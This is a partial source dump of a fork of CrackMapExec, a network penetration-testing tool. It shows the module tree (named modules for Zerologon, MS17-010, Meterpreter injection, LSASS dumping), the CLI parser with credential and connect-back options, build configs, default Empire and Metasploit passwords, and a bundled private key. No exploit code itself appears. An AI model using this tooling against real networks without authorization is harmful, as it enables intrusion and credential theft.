├── .dockerignore ├── .github ├── FUNDING.yml ├── ISSUE_TEMPLATE.md ├── ISSUE_TEMPLATE │ └── bug_report.md └── workflows │ └── crackmapexec.yml ├── .gitignore ├── .gitlab-ci.yml ├── .gitmodules ├── Dockerfile ├── LICENSE ├── Makefile ├── README.md ├── build_collector.py ├── cme ├── .hooks │ └── hook-lsassy.py ├── __init__.py ├── cli.py ├── cmedb.py ├── connection.py ├── context.py ├── crackmapexec.py ├── data │ ├── cme.conf │ ├── cme.ico │ ├── default.pem │ └── videos_for_darrell.harambe ├── first_run.py ├── helpers │ ├── __init__.py │ ├── bash.py │ ├── bloodhound.py │ ├── http.py │ ├── logger.py │ ├── misc.py │ └── powershell.py ├── loaders │ ├── __init__.py │ ├── module_loader.py │ └── protocol_loader.py ├── logger.py ├── modules │ ├── IOXIDResolver.py │ ├── MachineAccountQuota.py │ ├── adcs.py │ ├── bh_owned.py │ ├── dfscoerce.py │ ├── drop_searchConnector-ms.py │ ├── empire_exec.py │ ├── enum_avproducts.py │ ├── enum_dns.py │ ├── example_module.py │ ├── get_description.py │ ├── get_netconnections.py │ ├── gpp_autologin.py │ ├── gpp_password.py │ ├── handlekatz.py │ ├── hash_spider.py │ ├── laps.py │ ├── ldap-checker.py │ ├── ldap-signing.py │ ├── lsassy_dump.py │ ├── met_inject.py │ ├── ms17-010.py │ ├── mssql_priv.py │ ├── nanodump.py │ ├── nopac.py │ ├── petitpotam.py │ ├── procdump.py │ ├── rdp.py │ ├── runasppl.py │ ├── scuffy.py │ ├── shadowcoerce.py │ ├── slinky.py │ ├── spider_plus.py │ ├── spooler.py │ ├── subnets.py │ ├── test_connection.py │ ├── uac.py │ ├── user_description.py │ ├── wdigest.py │ ├── web_delivery.py │ ├── webdav.py │ ├── wireless.py │ └── zerologon.py ├── parsers │ ├── __init__.py │ ├── ip.py │ ├── nessus.py │ └── nmap.py ├── protocols │ ├── __init__.py │ ├── ldap.py │ ├── ldap │ │ ├── __init__.py │ │ ├── database.py │ │ ├── db_navigator.py │ │ ├── kerberos.py │ │ └── smbldap.py │ ├── mssql.py │ ├── mssql │ │ ├── __init__.py │ │ ├── database.py │ │ ├── db_navigator.py │ │ └── mssqlexec.py │ ├── rdp.py │ ├── rdp │ │ ├── __init__.py │ │ ├── database.py │ │ └── db_navigator.py │ ├── smb.py │ ├── smb │ │ ├── __init__.py │ │ ├── atexec.py │ │ ├── database.py │ │ ├── db_navigator.py │ │ ├── mmcexec.py │ │ ├── passpol.py │ │ ├── remotefile.py │ │ ├── samruser.py │ │ ├── smbexec.py │ │ ├── smbspider.py │ │ └── wmiexec.py │ ├── ssh.py │ ├── ssh │ │ ├── __init__.py │ │ ├── database.py │ │ └── db_navigator.py │ ├── winrm.py │ └── winrm │ │ ├── __init__.py │ │ ├── database.py │ │ └── db_navigator.py └── servers │ ├── __init__.py │ ├── http.py │ └── smb.py ├── crackmapexec.spec ├── flake.lock ├── flake.nix ├── poetry.lock ├── pyproject.toml ├── requirements.txt └── shell.nix /.dockerignore: -------------------------------------------------------------------------------- 1 | tests 2 | Dockerfile 3 | *.pyc 4 | *.pyo 5 | *.pyd 6 | __pycache__ 7 | .vscode 8 | .venv 9 | .github 10 | build 11 | bin 12 | dist 13 | *.egg-info 14 | cme/data/powersploit/Recon/Dictionaries 15 | cme/data/powersploit/Exfiltration/NTFSParser 16 | cme/data/powersploit/CodeExecution/Invoke-ReflectivePEInjection_Resources 17 | cme/data/powersploit/Exfiltration/LogonUser 18 | cme/data/powersploit/Tests 19 | cme/data/netripper/DLL 20 | cme/data/netripper/Metasploit 21 | cme/data/netripper/NetRipper 22 | cme/data/netripper/Win32 23 | cme/data/netripper/Release 24 | cme/data/netripper/minhook 25 | cme/data/netripper/x64 26 | cme/data/netripper/*.pdf 27 | cme/data/netripper/*.sln 28 | cme/data/invoke-vnc/winvnc 29 | cme/data/invoke-vnc/vncdll 30 | cme/data/invoke-vnc/pebytes.ps1 31 | cme/data/invoke-vnc/ReflectiveDLLInjection 32 | cme/data/invoke-vnc/*.py 33 | cme/data/invoke-vnc/*.bat 34 | cme/data/invoke-vnc/*.msbuild 35 | cme/data/invoke-vnc/*.sln 36 | cme/data/RID-Hijacking/modules 37 | cme/data/RID-Hijacking/slides -------------------------------------------------------------------------------- /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | custom: https://porchetta.industries/ 4 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE.md: -------------------------------------------------------------------------------- 1 | ## Steps to reproduce 2 | 3 | 1. ... 4 | 2. ... 5 | 6 | ## Command string used 7 | 8 | ## CME verbose output (using the --verbose flag) 9 | 10 | ## CME Version (cme --version) 11 | 12 | ## OS 13 | 14 | ## Target OS 15 | 16 | ## Detailed issue explanation 17 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/bug_report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug report 3 | about: Create a report to help us improve 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Describe the bug** 11 | A clear and concise description of what the bug is. 12 | 13 | **To Reproduce** 14 | Steps to reproduce the behavior: 15 | 1. Go to '...' 16 | 2. Click on '....' 17 | 3. Scroll down to '....' 18 | 4. See error 19 | 20 | **Expected behavior** 21 | A clear and concise description of what you expected to happen. 22 | 23 | **Screenshots** 24 | If applicable, add screenshots to help explain your problem. 25 | 26 | **Crackmapexec info** 27 | - OS: [e.g. Kali] 28 | - Version of CME [e.g. v5.0.2] 29 | - Installed from apt or using latest release ? Please try with latest release before openning an issue 30 | 31 | **Additional context** 32 | Add any other context about the problem here. 33 | -------------------------------------------------------------------------------- /.github/workflows/crackmapexec.yml: -------------------------------------------------------------------------------- 1 | name: CrackMapExec Tests & Build 2 | 3 | on: 4 | workflow_dispatch: 5 | branches: [ main ] 6 | push: 7 | branches: [ main ] 8 | pull_request: 9 | branches: [ main ] 10 | 11 | jobs: 12 | build: 13 | name: CrackMapExec Tests on ${{ matrix.os }} 14 | runs-on: ${{ matrix.os }} 15 | strategy: 16 | max-parallel: 4 17 | matrix: 18 | os: [ubuntu-latest, macOS-latest, windows-latest] 19 | python-version: ['3.8', '3.9', '3.10'] 20 | steps: 21 | - uses: actions/checkout@v2 22 | with: 23 | submodules: 'recursive' 24 | - name: CrackMapExec tests on ${{ matrix.os }} 25 | uses: actions/setup-python@v1 26 | - name: Install aardwolf on macos 27 | run: | 28 | if [ "$RUNNER_OS" == "macOS" ]; then 29 | pip download --no-binary aardwolf aardwolf 30 | fi 31 | shell: bash 32 | - name: Build binaries with Shiv 33 | run: | 34 | pip install shiv 35 | python build_collector.py 36 | - name: Upload cme binary 37 | uses: actions/upload-artifact@master 38 | with: 39 | name: cme-${{ matrix.os }}-${{ matrix.python-version }} 40 | path: bin/cme 41 | - name: Upload cmedb binary 42 | uses: actions/upload-artifact@master 43 | with: 44 | name: cmedb-${{ matrix.os }}-${{ matrix.python-version }} 45 | path: bin/cmedb 46 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | data/cme.db 2 | *.bak 3 | *.log 4 | .venv 5 | .vscode 6 | # Byte-compiled / optimized / DLL files 7 | __pycache__/ 8 | *.py[cod] 9 | bin/ 10 | 11 | 12 | # C extensions 13 | *.so 14 | 15 | # Distribution / packaging 16 | .Python 17 | env/ 18 | build/ 19 | develop-eggs/ 20 | dist/ 21 | downloads/ 22 | eggs/ 23 | .eggs/ 24 | lib/ 25 | lib64/ 26 | parts/ 27 | sdist/ 28 | var/ 29 | *.egg-info/ 30 | .installed.cfg 31 | *.egg 32 | 33 | # PyInstaller 34 | # Usually these files are written by a python script from a template 35 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 36 | *.manifest 37 | *.spec 38 | !crackmapexec.spec 39 | 40 | # Installer logs 41 | pip-log.txt 42 | pip-delete-this-directory.txt 43 | 44 | # Unit test / coverage reports 45 | htmlcov/ 46 | .tox/ 47 | .coverage 48 | .coverage.* 49 | .cache 50 | nosetests.xml 51 | coverage.xml 52 | *,cover 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | 61 | # Sphinx documentation 62 | docs/_build/ 63 | 64 | # PyBuilder 65 | target/ 66 | -------------------------------------------------------------------------------- /.gitlab-ci.yml: -------------------------------------------------------------------------------- 1 | stages : 2 | - build 3 | 4 | build_linux : 5 | image: python:3.8-slim 6 | stage: build 7 | before_script: 8 | - apt update 9 | - apt install -y git 10 | - git submodule update --init --recursive 11 | - pip install shiv 12 | script: 13 | - python build_collector.py 14 | artifacts: 15 | untracked: false 16 | expire_in: 30 days 17 | paths: ["./bin/cme", "./bin/cmedb"] 18 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/snovvcrash/CrackMapExec/5cf1a4a17144d5d630b06557f288cda4dbb523b3/.gitmodules -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.8-slim 2 | 3 | ENV LANG=C.UTF-8 4 | ENV LC_ALL=C.UTF-8 5 | ENV PIP_NO_CACHE_DIR=off 6 | 7 | WORKDIR /usr/src/crackmapexec 8 | 9 | RUN apt-get update && \ 10 | apt-get install -y libffi-dev libxml2-dev libxslt-dev libssl-dev openssl autoconf g++ python3-dev libkrb5-dev git 11 | 12 | COPY . . 13 | 14 | RUN pip install . 15 | 16 | ENTRYPOINT [ "cme" ] 17 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2022, byt3bl33d3r, mpgn_x64 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are met: 6 | 7 | * Redistributions of source code must retain the above copyright notice, this 8 | list of conditions and the following disclaimer. 9 | 10 | * Redistributions in binary form must reproduce the above copyright notice, 11 | this list of conditions and the following disclaimer in the documentation 12 | and/or other materials provided with the distribution. 13 | 14 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 15 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 16 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 17 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 18 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 19 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 20 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 21 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 22 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 23 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 24 | 25 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: tests 2 | 3 | default: build 4 | 5 | clean: 6 | rm -f -r build/ 7 | rm -f -r bin/ 8 | rm -f -r dist/ 9 | find . -name '*.pyc' -exec rm -f {} + 10 | find . -name '*.pyo' -exec rm -f {} + 11 | find . -name '*~' -exec rm -f {} + 12 | find . -name '__pycache__' -exec rm -rf {} + 13 | find . -name '.pytest_cache' -exec rm -rf {} + 14 | 15 | tests: 16 | flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics --exclude cme/data/* 17 | 18 | requirements: 19 | poetry export --without-hashes -f requirements.txt -o requirements.txt 20 | poetry export --without-hashes --dev -f requirements.txt -o requirements-dev.txt -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![Supported Python versions](https://img.shields.io/badge/python-3.7+-blue.svg) [![Twitter](https://img.shields.io/twitter/follow/byt3bl33d3r?label=byt3bl33d3r&style=social)](https://twitter.com/intent/follow?screen_name=byt3bl33d3r) [![Twitter](https://img.shields.io/twitter/follow/mpgn_x64?label=mpgn_x64&style=social)](https://twitter.com/intent/follow?screen_name=mpgn_x64) 2 | 3 | :triangular_flag_on_post: This is the public repository of CrackMapExec, for latest version and updates please consider supporting us through https://porchetta.industries/ 4 | 5 | # CrackMapExec 6 | 7 |

8 | cme 9 |

10 | 11 | 12 | ## In partnership with 13 | 14 |

15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 |

23 | 24 | ## :triangular_flag_on_post: Sponsors 25 | 26 | If you want to sponsors this project and have the latest updates on CME, latest issues fixed, latest features, please support us on https://porchetta.industries/ 27 | 28 | ## Official Discord Channel 29 | 30 | Come hang out on Discord! 31 | 32 | [![Porchetta Industries](https://discordapp.com/api/guilds/736724457258745996/widget.png?style=banner3)](https://discord.gg/ycGXUxy) 33 | 34 | # Acknowledgments 35 | **(These are the people who did the hard stuff)** 36 | 37 | This project was originally inspired by: 38 | - [CredCrack](https://github.com/gojhonny/CredCrack) 39 | - [smbexec](https://github.com/pentestgeek/smbexec) 40 | - [smbmap](https://github.com/ShawnDEvans/smbmap) 41 | 42 | Unintentional contributors: 43 | 44 | - The [Empire](https://github.com/PowerShellEmpire/Empire) project 45 | - @T-S-A's [smbspider](https://github.com/T-S-A/smbspider) script 46 | - @ConsciousHacker's partial Python port of Invoke-obfuscation from the [GreatSCT](https://github.com/GreatSCT/GreatSCT) project 47 | 48 | # Documentation, Tutorials, Examples 49 | See the project's [wiki](https://mpgn.gitbook.io/crackmapexec/) for documentation and usage examples 50 | 51 | # Installation 52 | Please see the installation on the [GitBook](https://mpgn.gitbook.io/crackmapexec/) 53 | 54 | # To do 55 | - ~~0wn everything~~ 56 | -------------------------------------------------------------------------------- /build_collector.py: -------------------------------------------------------------------------------- 1 | # -*- coding: latin-1 -*- 2 | 3 | import os 4 | import shutil 5 | import subprocess 6 | import sys 7 | import time 8 | import zipfile 9 | from datetime import datetime 10 | from pathlib import Path 11 | 12 | from shiv.bootstrap import Environment 13 | 14 | # from distutils.ccompiler import new_compiler 15 | from shiv.builder import create_archive 16 | from shiv.cli import __version__ as VERSION 17 | 18 | def build_cme(): 19 | print("building CME") 20 | try: 21 | shutil.rmtree("build") 22 | shutil.rmtree("bin") 23 | except: 24 | pass 25 | 26 | try: 27 | print("remove useless files") 28 | os.mkdir("build") 29 | os.mkdir("bin") 30 | shutil.copytree("cme", "build/cme") 31 | 32 | except Exception as e: 33 | print(e) 34 | return 35 | 36 | subprocess.run( 37 | [sys.executable, "-m", "pip", "install", "-r", "requirements.txt" ,"-t", "build"], 38 | check=True 39 | ) 40 | 41 | #[shutil.rmtree(p) for p in Path("build").glob("**/__pycache__")] 42 | [shutil.rmtree(p) for p in Path("build").glob("**/*.dist-info")] 43 | 44 | env = Environment( 45 | built_at=datetime.utcfromtimestamp(int(time.time())).strftime( 46 | "%Y-%m-%d %H:%M:%S" 47 | ), 48 | entry_point="cme.crackmapexec:main", 49 | script=None, 50 | compile_pyc=False, 51 | extend_pythonpath=True, 52 | shiv_version=VERSION, 53 | ) 54 | create_archive( 55 | [Path("build").absolute()], 56 | Path("bin/cme"), 57 | "/usr/bin/env -S python3 -sE", 58 | "_bootstrap:bootstrap", 59 | env, 60 | True, 61 | ) 62 | 63 | def build_cmedb(): 64 | print("building CMEDB") 65 | env = Environment( 66 | built_at=datetime.utcfromtimestamp(int(time.time())).strftime( 67 | "%Y-%m-%d %H:%M:%S" 68 | ), 69 | entry_point="cme.cmedb:main", 70 | script=None, 71 | compile_pyc=False, 72 | extend_pythonpath=True, 73 | shiv_version=VERSION, 74 | ) 75 | create_archive( 76 | [Path("build").absolute()], 77 | Path("bin/cmedb"), 78 | "/usr/bin/env -S python3 -sE", 79 | "_bootstrap:bootstrap", 80 | env, 81 | True, 82 | ) 83 | 84 | if __name__ == "__main__": 85 | try: 86 | build_cme() 87 | build_cmedb() 88 | except: 89 | pass 90 | finally: 91 | shutil.rmtree("build") 92 | -------------------------------------------------------------------------------- /cme/.hooks/hook-lsassy.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | 3 | from PyInstaller.utils.hooks import collect_all 4 | datas, binaries, hiddenimports = collect_all("lsassy") 5 | -------------------------------------------------------------------------------- /cme/__init__.py: -------------------------------------------------------------------------------- 1 | # import sys 2 | # import os 3 | # import cme 4 | 5 | # thirdparty_modules = os.path.join(os.path.dirname(cme.__file__), 'thirdparty') 6 | 7 | # for module in os.listdir(thirdparty_modules): 8 | # sys.path.insert(0, os.path.join(thirdparty_modules, module)) 9 | -------------------------------------------------------------------------------- /cme/cli.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import sys 3 | from argparse import RawTextHelpFormatter 4 | from cme.loaders.protocol_loader import protocol_loader 5 | from cme.helpers.logger import highlight 6 | from termcolor import colored 7 | 8 | def gen_cli_args(): 9 | 10 | VERSION = '5.3.0' 11 | CODENAME = "Operation C01NS" 12 | 13 | p_loader = protocol_loader() 14 | protocols = p_loader.get_protocols() 15 | 16 | parser = argparse.ArgumentParser(description=f""" 17 | ______ .______ ___ ______ __ ___ .___ ___. ___ .______ _______ ___ ___ _______ ______ 18 | / || _ \ / \ / || |/ / | \/ | / \ | _ \ | ____|\ \ / / | ____| / | 19 | | ,----'| |_) | / ^ \ | ,----'| ' / | \ / | / ^ \ | |_) | | |__ \ V / | |__ | ,----' 20 | | | | / / /_\ \ | | | < | |\/| | / /_\ \ | ___/ | __| > < | __| | | 21 | | `----.| |\ \----. / _____ \ | `----.| . \ | | | | / _____ \ | | | |____ / . \ | |____ | `----. 22 | \______|| _| `._____|/__/ \__\ \______||__|\__\ |__| |__| /__/ \__\ | _| |_______|/__/ \__\ |_______| \______| 23 | 24 | A swiss army knife for pentesting networks 25 | Forged by @byt3bl33d3r and @mpgn_x64 using the powah of dank memes 26 | 27 | {colored("Exclusive release for Porchetta Industries users", "magenta")} 28 | {colored("https://porchetta.industries/", "magenta")} 29 | 30 | {highlight('Version', 'red')} : {highlight(VERSION)} 31 | {highlight('Codename', 'red')}: {highlight(CODENAME)} 32 | """, 33 | 34 | formatter_class=RawTextHelpFormatter) 35 | 36 | parser.add_argument("-t", type=int, dest="threads", default=100, help="set how many concurrent threads to use (default: 100)") 37 | parser.add_argument("--timeout", default=None, type=int, help='max timeout in seconds of each thread (default: None)') 38 | parser.add_argument("--jitter", metavar='INTERVAL', type=str, help='sets a random delay between each connection (default: None)') 39 | parser.add_argument("--darrell", action='store_true', help='give Darrell a hand') 40 | parser.add_argument("--verbose", action='store_true', help="enable verbose output") 41 | 42 | subparsers = parser.add_subparsers(title='protocols', dest='protocol', description='available protocols') 43 | 44 | std_parser = argparse.ArgumentParser(add_help=False) 45 | std_parser.add_argument("target", nargs='*', type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)") 46 | std_parser.add_argument('-id', metavar="CRED_ID", nargs='+', default=[], type=str, dest='cred_id', help='database credential ID(s) to use for authentication') 47 | std_parser.add_argument("-u", metavar="USERNAME", dest='username', nargs='+', default=[], help="username(s) or file(s) containing usernames") 48 | std_parser.add_argument("-p", metavar="PASSWORD", dest='password', nargs='+', default=[], help="password(s) or file(s) containing passwords") 49 | std_parser.add_argument("-k", "--kerberos", action='store_true', help="Use Kerberos authentication from ccache file (KRB5CCNAME)") 50 | std_parser.add_argument("--export", metavar="EXPORT", nargs='+', help="Export result into a file, probably buggy") 51 | std_parser.add_argument("--aesKey", metavar="AESKEY", nargs='+', help="AES key to use for Kerberos Authentication (128 or 256 bits)") 52 | std_parser.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter") 53 | 54 | fail_group = std_parser.add_mutually_exclusive_group() 55 | fail_group.add_argument("--gfail-limit", metavar='LIMIT', type=int, help='max number of global failed login attempts') 56 | fail_group.add_argument("--ufail-limit", metavar='LIMIT', type=int, help='max number of failed login attempts per username') 57 | fail_group.add_argument("--fail-limit", metavar='LIMIT', type=int, help='max number of failed login attempts per host') 58 | 59 | module_parser = argparse.ArgumentParser(add_help=False) 60 | mgroup = module_parser.add_mutually_exclusive_group() 61 | mgroup.add_argument("-M", "--module", metavar='MODULE', help='module to use') 62 | #mgroup.add_argument('-MC','--module-chain', metavar='CHAIN_COMMAND', help='Payload module chain command string to run') 63 | module_parser.add_argument('-o', metavar='MODULE_OPTION', nargs='+', default=[], dest='module_options', help='module options') 64 | module_parser.add_argument('-L', '--list-modules', action='store_true', help='list available modules') 65 | module_parser.add_argument('--options', dest='show_module_options', action='store_true', help='display module options') 66 | module_parser.add_argument("--server", choices={'http', 'https'}, default='https', help='use the selected server (default: https)') 67 | module_parser.add_argument("--server-host", type=str, default='0.0.0.0', metavar='HOST', help='IP to bind the server to (default: 0.0.0.0)') 68 | module_parser.add_argument("--server-port", metavar='PORT', type=int, help='start the server on the specified port') 69 | module_parser.add_argument("--connectback-host", type=str, metavar='CHOST', help='IP for the remote system to connect back to (default: same as server-host)') 70 | 71 | for protocol in protocols.keys(): 72 | protocol_object = p_loader.load_protocol(protocols[protocol]['path']) 73 | subparsers = getattr(protocol_object, protocol).proto_args(subparsers, std_parser, module_parser) 74 | 75 | if len(sys.argv) == 1: 76 | parser.print_help() 77 | sys.exit(1) 78 | 79 | args = parser.parse_args() 80 | 81 | return args 82 | -------------------------------------------------------------------------------- /cme/context.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import os 3 | import configparser 4 | 5 | class Context: 6 | 7 | def __init__(self, db, logger, args): 8 | self.db = db 9 | self.log = logger 10 | self.log.debug = logging.debug 11 | self.log_folder_path = os.path.join(os.path.expanduser('~/.cme'), 'logs') 12 | self.localip = None 13 | 14 | self.conf = configparser.ConfigParser() 15 | self.conf.read(os.path.expanduser('~/.cme/cme.conf')) 16 | 17 | for key, value in vars(args).items(): 18 | setattr(self, key, value) 19 | -------------------------------------------------------------------------------- /cme/data/cme.conf: -------------------------------------------------------------------------------- 1 | [CME] 2 | workspace = default 3 | last_used_db = smb 4 | pwn3d_label = Pwn3d! 5 | audit_mode = 6 | 7 | [BloodHound] 8 | bh_enabled = False 9 | bh_uri = 127.0.0.1 10 | bh_port = 7687 11 | bh_user = neo4j 12 | bh_pass = neo4j 13 | 14 | [Empire] 15 | api_host = 127.0.0.1 16 | api_port = 1337 17 | username = empireadmin 18 | password = Password123! 19 | 20 | [Metasploit] 21 | rpc_host = 127.0.0.1 22 | rpc_port = 55552 23 | password = abc123 24 | 25 | -------------------------------------------------------------------------------- /cme/data/cme.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/snovvcrash/CrackMapExec/5cf1a4a17144d5d630b06557f288cda4dbb523b3/cme/data/cme.ico -------------------------------------------------------------------------------- /cme/data/default.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PRIVATE KEY----- 2 | MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDLRxCDVVXmjcFW 3 | rvuwIZh6ywLNtffsTFQ2QAykUTl6CGzn+rpoz/s/AX7s2/dWkv+pcUULNNeH2Ae9 4 | YNhM7vQqDzKA4Rj1FzVO9LIQot3F32e9SQWk2zJ0dia3uaxrrZTQeLOpISa9g3Q0 5 | nnvflX2KjarZ/OUrxSJA3HRgx0C0N7bmyC/jXSeM8cLQxJjIdNpxeMfSA5koeEEJ 6 | hzaWZLgtJpX5NOxpeJBRfhPSOL3r2t2qUGnzctvHbPZmdyRwIRCAiJNSHZd+CirC 7 | ayplzdaxDZ0rlMcpaeodOTpusBLmAWEP6uQEKrRBgL+AVOo7DpncIbmMQPkSA3La 8 | Slyh+dgRAgMBAAECggEBAJW58l/KK0t2fkHrAVfqZvWLMrVyovpZ/m03IBin+z33 9 | lsAH3eX1y4nNAEBWhQgvnkCgPcrTUS2t4YWMH8YK+60/JGPpaQid35YYhk/app9o 10 | vnCdqJqVGcTOghYxnN5zLHmhbjPVR0Ov35giY/t7kMzNLFsD+4kR2vkLaG0gVnhm 11 | gAZ0M7bN35LQT0Wk1SFjVPLwdsPb/Jvxo7ly7wVv7Y2D1vNCYoBQGoFL7/noGene 12 | mMQ+OVawP58KqoYn/WRLI9zmTWzohXvYJYvm+SiXultB4aBGgp4saYjD8gwSOBml 13 | wbz2LyRCcDVi46yDcy7iSLmMr6c4ZdkUpxRvtPJI5wECgYEA+AgBrSdOoU+pzPas 14 | HlrprQEn5XHn990wfJj5N77MtpJu7Gmf/0tWGQQ3wohmu8dfNZrE8ZsEupRUVIYh 15 | 5mLOWMmujkjNpp6A5LzZcp3hnLklORoUirZka66QgC9RSYv08PlPLy7ru+aHYsg1 16 | uPZNcf+KgpQoCg10LFrXaCh8GlUCgYEA0c74b1Rxg2+Dr3pGfvoZcQhtg1FUOWR9 17 | poNFkkV7vAnzoR9xLDvRtsOcGL7fu/WDtBg/XsddzfaKtU2cE05cF888OV+TYs6U 18 | Cturp+pz+Yyslh6x3AgygnpMGJp6rk5D9LLHmIWPpCPjbBSofEQL9IxKoQOYOlvm 19 | 7VrBu7Kbus0CgYAD6NRl702s+z147pZt8A7o3DDNzArU/FaMUDj1aPt/ETXQYiXU 20 | d1KHGGrslQvRf+X/SU47ZK8hZb8iie602+/WtG8c7QbYznzHnjZrORPaTYzJpqCW 21 | QyO4EstSSeylFSCqP7PA0aODlbGim/dE0BUOa/G59y3eYrHnFRN6H9E89QKBgHHK 22 | +JGhUiPAYsLU5dFOomfc81Cq1qx+JWwffKdVykN1fk7gN8iO9TJUK6B8Peq6wWD3 23 | Wb91EBp6YkbtPf52nJpJStevT8fiVQcCl7pt/dLWinCtWzgEtihwXj9l4a4SQuc/ 24 | 4+OEZSDYWiuvlKY5XeaYBI4J3hGg8MHBXJwJxk7tAoGBALBrop1vJVxZt4+Eb9gv 25 | cc5ZRtDi79MXPePDinhRivVi/48LsYoFXRtodjcAMWqAyH7n17Kxkvl1rRsaNAq/ 26 | H4F0kXuTXReV3LtZmZTLXmju2spGz3e3yKqgB+7dWUauqK44WaO1rYz32hTxLxil 27 | kN8k77KmfNkqz+9WY6S4CqIh 28 | -----END PRIVATE KEY----- 29 | -----BEGIN CERTIFICATE----- 30 | MIIC+zCCAeOgAwIBAgIUPjiFj6PH8T2dFrcwoqL7bHkXKfQwDQYJKoZIhvcNAQEL 31 | BQAwDTELMAkGA1UEBhMCVVMwHhcNMjAwNTEwMTAyMzA5WhcNMjEwNTEwMTAyMzA5 32 | WjANMQswCQYDVQQGEwJVUzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB 33 | AMtHEINVVeaNwVau+7AhmHrLAs219+xMVDZADKRROXoIbOf6umjP+z8Bfuzb91aS 34 | /6lxRQs014fYB71g2Ezu9CoPMoDhGPUXNU70shCi3cXfZ71JBaTbMnR2Jre5rGut 35 | lNB4s6khJr2DdDSee9+VfYqNqtn85SvFIkDcdGDHQLQ3tubIL+NdJ4zxwtDEmMh0 36 | 2nF4x9IDmSh4QQmHNpZkuC0mlfk07Gl4kFF+E9I4veva3apQafNy28ds9mZ3JHAh 37 | EICIk1Idl34KKsJrKmXN1rENnSuUxylp6h05Om6wEuYBYQ/q5AQqtEGAv4BU6jsO 38 | mdwhuYxA+RIDctpKXKH52BECAwEAAaNTMFEwHQYDVR0OBBYEFO+GlEFEBLb5Rv8x 39 | bx/bsBBNgwSxMB8GA1UdIwQYMBaAFO+GlEFEBLb5Rv8xbx/bsBBNgwSxMA8GA1Ud 40 | EwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAHU17UUlL2rl+xLdBDRqcVBb 41 | DUWwvmkBL22G05LcIIjlA7YeeKHBA0D6ppulTZ+HWZ2mo2n10bIso+SryytGrU0g 42 | p9Rt+mUDiWOQJWi0W6VAhK72wsJG5DnRdf5yXjbsY065iA4Q5UfhQd7TsR3q4EkD 43 | 5ziOrKiuB5T3PR48aE/Cpg0aTGpx05OEVG6un1xwUpT6d6j5qP2IELaCG446ZZIO 44 | 0BrvUoOTwYCV6UhhV1F3xirVFpUwTtp8Ms/fst4vSX9/6PgyBd09icB+O8t9LhXG 45 | b6FMHKpKOOkRQztqJR3ipMlW6Ceslwqs5CBRowbySi3C4kpEplM6hbVTelzwP6U= 46 | -----END CERTIFICATE----- 47 | -------------------------------------------------------------------------------- /cme/data/videos_for_darrell.harambe: -------------------------------------------------------------------------------- 1 | https://www.youtube.com/watch?v=dQw4w9WgXcQ 2 | https://www.youtube.com/watch?v=l12Csc_lW0Q 3 | https://www.youtube.com/watch?v=wBqM2ytqHY4 4 | https://www.youtube.com/watch?v=N1zL13LvxS8 5 | https://imgur.com/gallery/s1hLouN 6 | https://www.youtube.com/watch?v=Tay791Nprx0 7 | https://www.youtube.com/watch?v=rOGbMwXnlQM 8 | https://www.youtube.com/watch?v=mv8mV5X0MR8 9 | https://www.youtube.com/watch?v=nH2gUPTFCfo 10 | https://www.youtube.com/watch?v=zzfQwXEqYaI 11 | https://www.youtube.com/watch?v=yuwprXAaSv0 12 | https://i.imgur.com/aTr6Afr.gifv 13 | https://www.youtube.com/watch?v=SZoiJM1vlfc 14 | https://www.youtube.com/watch?v=IvDeXaiBy3I 15 | https://www.youtube.com/watch?v=G0cqV3h-aDA 16 | https://www.youtube.com/watch?v=q6yHoSvrTss 17 | https://www.youtube.com/watch?v=jnHFYTjk4MQ 18 | https://www.youtube.com/watch?v=tVj0ZTS4WF4 19 | https://www.youtube.com/watch?v=q6EoRBvdVPQ 20 | 